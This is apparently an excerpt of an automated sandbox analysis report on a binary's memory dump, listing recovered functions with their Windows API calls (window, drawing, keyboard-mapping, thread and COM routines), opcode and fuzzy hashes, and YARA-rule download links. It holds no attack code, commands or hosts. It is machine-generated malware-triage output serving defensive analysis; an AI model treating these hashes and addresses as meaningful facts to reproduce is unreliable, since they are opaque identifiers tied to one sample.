ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00D3C417,00000004,00000000,00000000,00000000), ref: 00D3C46A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00D3C417,00000004,00000000,00000000,00000000), ref: 00D3C4D6

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: d06afa7f2b42ec0d40846afd5c09f0ace81a35d7aa22eef1a287199dd8a883d6
Instruction ID: fe2b594d509268950d3ee43ef115835628777e3d17673b4c74a8996b5e91ff2c
Opcode Fuzzy Hash: d06afa7f2b42ec0d40846afd5c09f0ace81a35d7aa22eef1a287199dd8a883d6
Instruction Fuzzy Hash: 03410B30315780AADB358B288C9CB7A7B92AF45314F5C881DE09FD66E0CA75E841D730

Uniqueness

Uniqueness Score: -1.00%

Function 00D86442, Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00D8645A
GetDC.USER32(00000000), ref: 00D86462
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D8646D
ReleaseDC.USER32 ref: 00D86479
CreateFontW.GDI32(?,00000000,00000000,00000000,?,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 00D864B5
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00D864C6
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00D86500
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00D86520

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: e819d56383967ebfaca4ea2891a811c76887c53e0b776709890c28bde0fca665
Instruction ID: 1c43575efa97618e83feb3a5a3757dec2b7c55439f401842064b9f208870ab00
Opcode Fuzzy Hash: e819d56383967ebfaca4ea2891a811c76887c53e0b776709890c28bde0fca665
Instruction Fuzzy Hash: D3316972211214BFEB119F50CC8AFEA3FADEF09761F0841A5FE08DA2A5D6759841CB74

Uniqueness

Uniqueness Score: -1.00%

Function 00D01424, Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b50b7d9313b8e63200368ec233b03438a5ccbdd2cf97a425b5a2e08514421c3
Instruction ID: d65ff93394614df6857cf0cf90527a0b30359af0c08b38258b741eca535b348c
Opcode Fuzzy Hash: 3b50b7d9313b8e63200368ec233b03438a5ccbdd2cf97a425b5a2e08514421c3
Instruction Fuzzy Hash: 94713A34900109EFCB15DF98CC89BAEBB79FF85324F148159F919AA291C734AA51CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 00D8B60B, Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(01088D30), ref: 00D8B6A5
IsWindowEnabled.USER32(01088D30), ref: 00D8B6B1
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00D8B795
SendMessageW.USER32(01088D30,000000B0,?,?), ref: 00D8B7CC
IsDlgButtonChecked.USER32(?,?), ref: 00D8B809
GetWindowLongW.USER32(01088D30,000000EC), ref: 00D8B82B
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00D8B843

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 35f4e296eb801733696260ed13dddf3ddfe59a139ce7303b707894dfa5303f03
Instruction ID: f2606ad92c60693d6bf394fc5ff4c8dee29742f0ace3a5c827da0ab2527d0b51
Opcode Fuzzy Hash: 35f4e296eb801733696260ed13dddf3ddfe59a139ce7303b707894dfa5303f03
Instruction Fuzzy Hash: 82718E74600305AFDB20AF65CC95FBA7BB9EF89320F18446AE9459B3A1D731AC41CB74

Uniqueness

Uniqueness Score: -1.00%

Function 00D01DB3, Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 00D01DDC
GetWindowRect.USER32 ref: 00D01E1D
ScreenToClient.USER32 ref: 00D01E45
GetClientRect.USER32 ref: 00D01F74
GetWindowRect.USER32 ref: 00D01F8D

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 67d602eb455dd7ca4b6b5fac82b69505e1acb79a40c036f54244114a73c3aac5
Instruction ID: db073a353577281f9cf8468fb000283d8a622734a06258873f4b803b5e594ea1
Opcode Fuzzy Hash: 67d602eb455dd7ca4b6b5fac82b69505e1acb79a40c036f54244114a73c3aac5
Instruction Fuzzy Hash: 12B13E7990024ADBDF10CFA8C5847EDBBB1FF08310F18956AED99DB291DB30A950CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00D6675A, Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D668AD
_memmove.LIBCMT ref: 00D667E8

Part of subcall function 00D09997: __itow.LIBCMT ref: 00D099C2
Part of subcall function 00D09997: __swprintf.LIBCMT ref: 00D09A0C

Part of subcall function 00D20FF6: _malloc.LIBCMT ref: 00D2100E

_memmove.LIBCMT ref: 00D6685B
_memmove.LIBCMT ref: 00D66942
_memmove.LIBCMT ref: 00D6695B
_memmove.LIBCMT ref: 00D66977

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove$__itow__swprintf_malloc
String ID:
API String ID: 83262069-0
Opcode ID: cb431937712a311df78e02b3c16d0afe11c971312b8b24478cc30831b0ad0ef5
Instruction ID: 879d81ff11e2fb58a69cf831af2609c655ff34158bfa7ea162093a141941ea14
Opcode Fuzzy Hash: cb431937712a311df78e02b3c16d0afe11c971312b8b24478cc30831b0ad0ef5
Instruction Fuzzy Hash: 51619A3050029AABCF11EF64D892FFE7BA4EF54308F044519F8996B2D2DA30E945CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D01765, Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00D02612: GetWindowLongW.USER32(?,000000EB), ref: 00D02623

BeginPaint.USER32(?,?,?,?,?,?), ref: 00D0179A
GetWindowRect.USER32 ref: 00D017FE
ScreenToClient.USER32 ref: 00D0181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00D0182C
EndPaint.USER32(?,?), ref: 00D01876

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: a2ed632a6b16e1c16dfd24e3a3da220864ab5eb5b0b85ce115032537ce0e0e00
Instruction ID: c40e43c356029718bf6106703af3b8853feabd08c9c82b7b91ed5b05595cb571
Opcode Fuzzy Hash: a2ed632a6b16e1c16dfd24e3a3da220864ab5eb5b0b85ce115032537ce0e0e00
Instruction Fuzzy Hash: 00418874100302AFD710DF24C889FBA7BE8EB49724F084629FAA8C62E1C771D945DB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D8B958, Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00DC67B0,00000000,01088D30,?,?,00DC67B0,?,00D8B862,?,?), ref: 00D8B9CC
EnableWindow.USER32(?,00000000), ref: 00D8B9F0
ShowWindow.USER32(00DC67B0,00000000,01088D30,?,?,00DC67B0,?,00D8B862,?,?), ref: 00D8BA50
ShowWindow.USER32(?,00000004,?,00D8B862,?,?), ref: 00D8BA62
EnableWindow.USER32(?,00000001), ref: 00D8BA86
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00D8BAA9

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 506d0fcd495fefd27b04e9aff64c790900d8c9bce731228606f1bb0b485358a4
Instruction ID: 52ec312ce591e9c87603312d886d5385e5938390a05309d88185e93041f65b44
Opcode Fuzzy Hash: 506d0fcd495fefd27b04e9aff64c790900d8c9bce731228606f1bb0b485358a4
Instruction Fuzzy Hash: 87415030600641AFDB25EF15C489B957BE0FF05320F1C42BAEA588F2A2C771A845CF71

Uniqueness

Uniqueness Score: -1.00%

Function 00D8C19A, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00D012F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00D0134D
Part of subcall function 00D012F3: SelectObject.GDI32(?,00000000), ref: 00D0135C
Part of subcall function 00D012F3: BeginPath.GDI32(?), ref: 00D01373
Part of subcall function 00D012F3: SelectObject.GDI32(?,00000000), ref: 00D0139C

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00D8C1C4
LineTo.GDI32(00000000,00000003,?), ref: 00D8C1D8
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00D8C1E6
LineTo.GDI32(00000000,00000000,?), ref: 00D8C1F6
EndPath.GDI32(00000000), ref: 00D8C206
StrokePath.GDI32(00000000), ref: 00D8C216

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: c54826a167e5e7b76d799cfb7a5ade3383a15a915b05a73a50497fa6efb581ec
Instruction ID: c869790fe860ffa902afcac9a5a19fde1b18da95557c993519afc26e281bb516
Opcode Fuzzy Hash: c54826a167e5e7b76d799cfb7a5ade3383a15a915b05a73a50497fa6efb581ec
Instruction Fuzzy Hash: 1811097640020DFFDB119F90DC88FAA7FADEF08354F048021BA188A2A1C7719D55DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D203A2, Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00D203D3
MapVirtualKeyW.USER32(00000010,00000000), ref: 00D203DB
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00D203E6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00D203F1
MapVirtualKeyW.USER32(00000011,00000000), ref: 00D203F9
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D20401

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: ac96c471a622d5722cc5aff874232fa839e4460f63df440453bcd8e969cddb27
Instruction ID: 08f8e89c274a4a3b750ac1d25f8c4dc3fa3c87c494b794dd95e7efe7c0caa551
Opcode Fuzzy Hash: ac96c471a622d5722cc5aff874232fa839e4460f63df440453bcd8e969cddb27
Instruction Fuzzy Hash: ED016CB09017597DE3008F5A8C85B52FFA8FF19354F00411BA15C87A41C7F5A864CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00D674D2, Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00D674E5
EnterCriticalSection.KERNEL32(?,?,00D11044,?,?), ref: 00D674F6
TerminateThread.KERNEL32(00000000,000001F6,?,00D11044,?,?), ref: 00D67503
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00D11044,?,?), ref: 00D67510

Part of subcall function 00D66ED7: CloseHandle.KERNEL32(00000000,?,00D6751D,?,00D11044,?,?), ref: 00D66EE1

InterlockedExchange.KERNEL32(?,000001F6), ref: 00D67523
LeaveCriticalSection.KERNEL32(?,?,00D11044,?,?), ref: 00D6752A

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: a8395673de72d471a763058feee4186e72f36a62ee743daccb685f5c662daf72
Instruction ID: c0674719b5cef8af41c763184b1bbf49d01d14a68ad230cfad4222029abb0bef
Opcode Fuzzy Hash: a8395673de72d471a763058feee4186e72f36a62ee743daccb685f5c662daf72
Instruction Fuzzy Hash: 8CF05E7A150712EBDB111B64FC8CAEB772AEF45312B140572F243D11B1DB755811CB74

Uniqueness

Uniqueness Score: -1.00%

Function 00D012F3, Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00D0134D
SelectObject.GDI32(?,00000000), ref: 00D0135C
BeginPath.GDI32(?), ref: 00D01373
SelectObject.GDI32(?,00000000), ref: 00D0139C

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 342b1b58d3a6d7b05ae8620bf7af2c8394332d41d517f8724882490c10558cfe
Instruction ID: bc8ffa6bcc58e8e65869cb2bd2268f6d3598e6289eda32e3d4c890e7a11ea319
Opcode Fuzzy Hash: 342b1b58d3a6d7b05ae8620bf7af2c8394332d41d517f8724882490c10558cfe
Instruction Fuzzy Hash: F521397080030AEFDB109F65DC08BA97BA8EF00321F588226F918D62E0D371D895DFB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D35332, Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D3533E

Part of subcall function 00D2594C: __FF_MSGBANNER.LIBCMT ref: 00D25963
Part of subcall function 00D2594C: __NMSG_WRITE.LIBCMT ref: 00D2596A
Part of subcall function 00D2594C: RtlAllocateHeap.NTDLL(01080000,00000000,00000001,00000000,?,?,?,00D21013,?), ref: 00D2598F

_free.LIBCMT ref: 00D35351

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 738126a57e451b28715e6e86fb5e4d1870e0e56de50401a62914b756a0fe3d63
Instruction ID: 1415fa189105c0c9e7865667d9f8e9fb68a4fc1759ba617b1b0dd70392432819
Opcode Fuzzy Hash: 738126a57e451b28715e6e86fb5e4d1870e0e56de50401a62914b756a0fe3d63
Instruction Fuzzy Hash: 0D11C632505B26AFCB213F70FC45A5D3798DF203E4F14042AF945DA195DE75C94197B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D57631, Relevance: 7.6, APIs: 5, Instructions: 60stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D5810E: RaiseException.KERNEL32(8007000E,?,00000000,00000000,?,00D57651,-C0000018,00000001,?,00D5758C,80070057,?,?,?,00D5799D), ref: 00D5811B

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00D5758C,80070057,?,?,?,00D5799D), ref: 00D5766F
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00D5758C,80070057,?,?), ref: 00D5768A
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00D5758C,80070057,?,?), ref: 00D57698
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00D5758C,80070057,?), ref: 00D576A8
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00D5758C,80070057,?,?), ref: 00D576B4

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: From$Prog$ExceptionFreeRaiseStringTasklstrcmpi
String ID:
API String ID: 450394209-0
Opcode ID: 65a2577fca8d883802f1051aad81fdbc76c548e9c3160b6b90865a3ed4ee5dda
Instruction ID: 560ab6113e26dea4902b60ca0a0ab5e5788d788f5116ade92f737e9a2bfeabe1
Opcode Fuzzy Hash: 65a2577fca8d883802f1051aad81fdbc76c548e9c3160b6b90865a3ed4ee5dda
Instruction Fuzzy Hash: 671182B2614718ABDB105F69EC04B9A7BADEB04752F244028FD08D6211E775DE4497B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D654E6, Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00D65502
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00D65510
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00D65518
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00D65522
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00D6555E

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 1fcca52cb7ced49ab762ef4adb2af644ad8bd4e5f6784783c644c94e39a69acc
Instruction ID: b906d07aa979e533da332c7c35069ceb97b2eeda2d2c9a16632c60987219d13c
Opcode Fuzzy Hash: 1fcca52cb7ced49ab762ef4adb2af644ad8bd4e5f6784783c644c94e39a69acc
Instruction Fuzzy Hash: 8A013536C10B29DBCF00AFE8E88DAEDBB78BB09711F050456E942F2254DB30969087B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D013B0, Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00D013BF
StrokeAndFillPath.GDI32(?,?,00D3BAD8,00000000,?), ref: 00D013DB
SelectObject.GDI32(?,00000000), ref: 00D013EE
DeleteObject.GDI32 ref: 00D01401
StrokePath.GDI32(?), ref: 00D0141C

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 17856d908761c36a7ab23817a311a03b6ef36f1cabce3f8e261b34b6b2a4e0d8
Instruction ID: ef6146bb849c9df2b361e71708a49a1ec18f598a7a92f1d3f5905402bfe77089
Opcode Fuzzy Hash: 17856d908761c36a7ab23817a311a03b6ef36f1cabce3f8e261b34b6b2a4e0d8
Instruction Fuzzy Hash: 7FF0B23401470AAFDB115FA6EC0CB583BA5AB01326F588224E569C92F1C735C9A5DF70

Uniqueness

Uniqueness Score: -1.00%

Function 00D162F2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D163A8
_memmove.LIBCMT ref: 00D16446
_memset.LIBCMT ref: 00D1646A

Strings

ERCP, xrefs: 00D16313

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: f9ab5e8c24bb98cc82c4b562d1815cc3a6ba9e9547e5f94374530f9cbad2b8ce
Instruction ID: 0e13b166d19a31346d7ba5c50b8d39f6ee9be6691309623981ebcaada77e2c36
Opcode Fuzzy Hash: f9ab5e8c24bb98cc82c4b562d1815cc3a6ba9e9547e5f94374530f9cbad2b8ce
Instruction Fuzzy Hash: BB51D171904719EBCB24CF65D881BEABBF4EF04314F24856EE99ACB241EB71D584CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D576C5, Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d31bf68523dd4e017f853ef62d8d454e49653ccd2774d607249e87ea83965bc1
Instruction ID: ae1c1a15ac77cbe240ee11742d8813f409a47ea63a9145ccbe54777faf961c30
Opcode Fuzzy Hash: d31bf68523dd4e017f853ef62d8d454e49653ccd2774d607249e87ea83965bc1
Instruction Fuzzy Hash: 0CC15C74A04216EFCB14CF98D884AAEBBB5FF48711B258598EC05EB251D730DE85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D56DF3, Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00D56E04
SysAllocString.OLEAUT32(00000000), ref: 00D56EAD
VariantCopy.OLEAUT32 ref: 00D56EDC
VariantClear.OLEAUT32(?), ref: 00D56F03

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 8f0e00d3d626a89cd07a9b56b3d4263b792d9a21f8f6e9a18b730e22637e0bcf
